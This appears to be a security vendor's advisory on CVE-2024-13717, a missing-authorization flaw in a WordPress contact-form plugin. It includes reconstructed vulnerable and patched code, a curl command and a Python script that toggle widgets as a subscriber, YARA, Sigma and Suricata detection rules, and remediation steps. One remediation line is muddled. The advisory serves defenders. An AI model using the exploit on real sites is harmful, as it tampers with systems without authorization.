CVE-2024-13717

Executive Summary

CVE-2024-13717 is a WordPress plugin vulnerability affecting the "Contact Form and Calls To Action by vcita" plugin (versions up to and including 2.7.1). The issue is a Missing Authorization (CWE-862) in the vcita_ajax_toggle_ae and vcita_ajax_toggle_contact AJAX functions. This allows authenticated attackers with subscriber-level access or higher to enable or disable widgets without proper capability checks. The CVSS v3.1 score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept or exploit code is available at this time.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem and does not affect Apache, Nginx, or other server software. The plugin is installed on WordPress sites and provides contact forms and call-to-action widgets.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs subscriber-level authentication.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Widgets can be toggled on/off.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the impact is limited to widget visibility, it could be used to disrupt site functionality or as part of a larger attack chain.

Deep Dive & Mechanics

The vulnerability lies in the plugin's AJAX handlers for toggling widgets. The functions vcita_ajax_toggle_ae and vcita_ajax_toggle_contact are registered via wp_ajax_ hooks, making them accessible to authenticated users. However, they lack a current_user_can() or wp_verify_nonce() check, allowing any authenticated user (including subscribers) to call them.

The functions likely perform database updates to enable or disable widgets. An attacker can send a crafted POST request to /wp-admin/admin-ajax.php with the appropriate action parameter and widget ID to toggle the widget state.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.7.1):

add_action( 'wp_ajax_vcita_ajax_toggle_ae', 'vcita_ajax_toggle_ae' );
function vcita_ajax_toggle_ae() {
    // No capability check
    $widget_id = $_POST['widget_id'];
    // Toggle widget logic
    update_option( 'vcita_widget_' . $widget_id, !get_option( 'vcita_widget_' . $widget_id ) );
    wp_die();
}

Patched Code (Hypothetical):

add_action( 'wp_ajax_vcita_ajax_toggle_ae', 'vcita_ajax_toggle_ae' );
function vcita_ajax_toggle_ae() {
    // Add capability check
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( 'Unauthorized' );
    }
    // Verify nonce
    if ( ! wp_verify_nonce( $_POST['_wpnonce'], 'vcita_toggle_nonce' ) ) {
        wp_die( 'Invalid nonce' );
    }
    $widget_id = sanitize_text_field( $_POST['widget_id'] );
    update_option( 'vcita_widget_' . $widget_id, !get_option( 'vcita_widget_' . $widget_id ) );
    wp_die();
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the vulnerable plugin installed.
• Valid subscriber-level credentials (e.g., username: attacker, password: password123).

Exploitation Steps:

1. Log in as a subscriber.
2. Obtain a valid nonce if required (not needed in vulnerable version).
3. Send a POST request to toggle a widget:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=vcita_ajax_toggle_ae&widget_id=1" \
  --cookie "wordpress_logged_in_xxx=attacker|..."

4. Verify the widget state change by checking the site's frontend.

Automated Script (Python):

import requests

target = "https://target.com"
session = requests.Session()
session.auth = ("attacker", "password123")

# Get admin-ajax nonce if needed (not required in vulnerable version)
response = session.post(f"{target}/wp-admin/admin-ajax.php", data={
    "action": "vcita_ajax_toggle_ae",
    "widget_id": "1"
})
print(response.text)

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor AJAX requests to /wp-admin/admin-ajax.php with action parameters vcita_ajax_toggle_ae or vcita_ajax_toggle_contact.
2. Check for rapid toggling of widgets (multiple requests in short time).
3. Review user roles and permissions; ensure only administrators can manage widgets.

Honeypot Setup:

• Create a fake widget option and monitor for unexpected changes.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=vcita_ajax_toggle_ae or action=vcita_ajax_toggle_contact.
  • User-Agent strings from automated tools (e.g., python-requests/2.x).

• Host IOCs:

  • Unexpected changes in WordPress options table (wp_options) for keys like vcita_widget_*.
  • Subscriber-level users making AJAX requests to admin-ajax.php.

• Log IOCs:

  • WordPress debug log entries showing AJAX calls from low-privilege users.
  • Web server access logs with admin-ajax.php POST requests from subscriber IPs.

Detection Engineering

YARA Rule

rule CVE_2024_13717_WordPress_vcita {
    meta:
        description = "Detects exploitation attempts for CVE-2024-13717 in WordPress vcita plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13717"
    strings:
        $ajax_action_ae = "vcita_ajax_toggle_ae"
        $ajax_action_contact = "vcita_ajax_toggle_contact"
        $admin_ajax = "admin-ajax.php"
    condition:
        any of ($ajax_action_*) and $admin_ajax
}

Sigma Rule

title: CVE-2024-13717 WordPress vcita Plugin AJAX Toggle Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-13717 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "action=vcita_ajax_toggle_ae"
            - "action=vcita_ajax_toggle_contact"
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13717 WordPress vcita Plugin AJAX Toggle Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=vcita_ajax_toggle_ae"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to the latest version if a patch becomes available.
2. Disable the plugin if not essential.
3. Restrict user roles – Ensure only administrators have subscriber-level access if possible.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) rule to block AJAX requests with vcita_ajax_toggle_* actions from non-admin users.
• Add custom code to the theme's functions.php to enforce capability checks:

add_action( 'wp_ajax_vcita_ajax_toggle_ae', function() {
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( 'Unauthorized' );
    }
}, 1 );

• Monitor WordPress security advisories for plugin updates.

Valters IT – Securing WordPress ecosystems one vulnerability at a time.